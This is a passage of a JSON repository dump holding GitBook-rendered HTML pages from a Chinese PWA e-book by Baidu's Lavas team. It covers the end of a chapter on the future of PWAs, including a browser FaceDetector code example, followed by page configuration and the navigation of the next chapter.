target=\"_blank\">WebAPI</a>&#xFF0C;&#x91CC;&#x9762;&#x5217;&#x51FA;&#x4E86;&#x5927;&#x90E8;&#x5206;&#x7684;&#x73B0;&#x5B58;&#x7684; Device API &#x548C;&#x5176;&#x4ED6;&#x7684; API&#x3002;</p>\n<p><a href=\"https://wicg.github.io/shape-detection-api/\" target=\"_blank\">Accelerated Shape Detection in Imagges</a> &#x662F;&#x5F62;&#x4F53;&#x68C0;&#x6D4B;&#x7684; API&#xFF0C;&#x5728;&#x6700;&#x65B0;&#x7684; Chrome &#x4E2D;&#x5DF2;&#x7ECF;&#x652F;&#x6301;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<blockquote>\n<p>&#x9700;&#x8981;&#x5C06; chrome://flags/#enable-experimental-web-platform-features &#x8BBE;&#x7F6E;&#x4E3A; Enabled&#x3002;</p>\n</blockquote>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x4EBA;&#x8138;&#x8BC6;&#x522B;</span>\n<span class=\"token keyword\">const</span> faceDetector <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">FaceDetector</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>fastMode<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span> maxDetectedFaces<span class=\"token punctuation\">:</span> <span class=\"token number\">1</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x5047;&#x8BBE; theImage &#x662F; &lt;img&gt; &#x6807;&#x7B7E;&#x4E2D;&#x7684;&#x5185;&#x5BB9;&#x6216;&#x8005;&#x4E00;&#x4E2A; Blob &#x5BF9;&#x8C61;</span>\nfaceDetector<span class=\"token punctuation\">.</span><span class=\"token function\">detect</span><span class=\"token punctuation\">(</span>theImage<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">detectedFaces</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> face <span class=\"token keyword\">of</span> detectedFaces<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>\n        <span class=\"token template-string\"><span class=\"token string\">` Face @ (</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>face<span class=\"token punctuation\">.</span>boundingBox<span class=\"token punctuation\">.</span>x<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">, </span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>face<span class=\"token punctuation\">.</span>boundingBox<span class=\"token punctuation\">.</span>y<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">),`</span></span> <span class=\"token operator\">+</span>\n        <span class=\"token template-string\"><span class=\"token string\">` size </span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>face<span class=\"token punctuation\">.</span>boundingBox<span class=\"token punctuation\">.</span>width<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">x</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>face<span class=\"token punctuation\">.</span>boundingBox<span class=\"token punctuation\">.</span>height<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">`</span></span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&quot;Face Detection failed, boo.&quot;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0D;&#x65AD;&#x6709;&#x65B0;&#x7684; Device API &#x88AB;&#x652F;&#x6301;&#xFF0C;W3C &#x7B49;&#x6807;&#x51C6;&#x7EC4;&#x7EC7;&#x6709;&#x4E00;&#x7FA4;&#x5BF9; Web &#x6000;&#x62B1;&#x5E0C;&#x671B;&#xFF0C;&#x5E0C;&#x671B; Web &#x6210;&#x4E3A;&#x5F00;&#x653E;&#x6280;&#x672F;&#x7684;&#x4EBA;&#xFF0C;&#x4ED6;&#x4EEC;&#x5728;&#x52AA;&#x529B;&#x63A8;&#x8FDB; Web &#x7528;&#x6237;&#x4F53;&#x9A8C;&#x7684;&#x63D0;&#x5347;&#xFF0C;&#x867D;&#x7136;&#x7531;&#x4E8E; W3C &#x7684;&#x7EC4;&#x7EC7;&#x65B9;&#x5F0F;&#x548C;&#x5BF9;&#x5B89;&#x5168;&#x3001;&#x9690;&#x79C1;&#x3001;&#x6027;&#x80FD;&#x7684;&#x8003;&#x8651;&#xFF0C;&#x63A8;&#x8FDB;&#x901F;&#x5EA6;&#x4E0D;&#x662F;&#x5F88;&#x5FEB;&#xFF0C;&#x4F46;&#x4E0D;&#x4E45;&#x4E5F;&#x4F1A;&#x88AB;&#x6240;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x3002;&#x6211;&#x559C;&#x6B22; Web &#x7684;&#x5F00;&#x653E;&#xFF0C;&#x559C;&#x6B22;&#x5B83;&#x7684;&#x7B80;&#x5355;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"4-how-is-pwa-going.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.4 PWA 的发展\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"6-your-first-pwa.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.6 你的第一个 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.5 PWA 的未来\",\"level\":\"1.2.5\",\"depth\":2,\"next\":{\"title\":\"1.6 你的第一个 PWA\",\"level\":\"1.2.6\",\"depth\":2,\"path\":\"chapter01/6-your-first-pwa.md\",\"ref\":\"chapter01/6-your-first-pwa.md\",\"articles\":[]},\"previous\":{\"title\":\"1.4 PWA 的发展\",\"level\":\"1.2.4\",\"depth\":2,\"path\":\"chapter01/4-how-is-pwa-going.md\",\"ref\":\"chapter01/4-how-is-pwa-going.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/5-the-future-of-pwa.md\",\"mtime\":\"2019-06-19T10:37:41.917Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/6-your-first-pwa.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.6 你的第一个 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter02.html\" />\n    \n    \n    <link rel=\"prev\" href=\"5-the-future-of-pwa.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    